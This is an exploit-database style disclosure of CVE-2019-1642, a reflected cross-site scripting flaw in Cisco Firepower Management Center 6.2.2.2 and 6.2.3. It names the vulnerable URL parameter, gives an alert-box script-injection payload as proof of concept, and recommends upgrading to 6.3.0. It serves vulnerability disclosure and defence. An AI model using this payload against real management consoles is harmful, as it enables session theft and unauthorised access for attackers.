Cisco Firepower Management Center 6.2.2.2 / 6.2.3 - Cross-Site Scripting

# Exploit Title: Cisco Firepower Management Center Cross-Site Scripting (XSS) Vulnerability
# Google Dork: N/A
# Date: 23-01-2019
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# Exploit Author: Bhushan B. Patil
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# Advisory URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-frpwr-mc-xss
# Affected Version: 6.2.2.2 & 6.2.3
# Cisco Bug ID: CSCvk30983
# CVE: CVE-2019-1642

1. Technical Description:
A vulnerability in the web-based management interface of Cisco Firepower Management Center (FMC) software could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the web-based management interface of the affected software.
The vulnerability is due to insufficient validation of user-supplied input by the web-based management interface of the affected software. An attacker could exploit this vulnerability by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information.

2. Proof Of Concept:
Login to Cisco Firepower Management Center (FMC) and browse to Systems -> Configuration menu.
https://<ip address>/platinum/platformSettingEdit.cgi?type=TimeSetting

Append the following XSS payload >"><script>alert("XXS POC")</script>& in the URL

The URL will become and on submitting it you'll get an alert popup.
https://<ip address>/platinum/platformSettingEdit.cgi?type=>"><script>alert("XXS POC")</script>&

3. Solution:
Upgrade to version 6.3.0
For more information about fixed software releases, consult the Cisco bug ID CSCvk30983<https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvk30983>

4. Reference:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-frpwr-mc-xss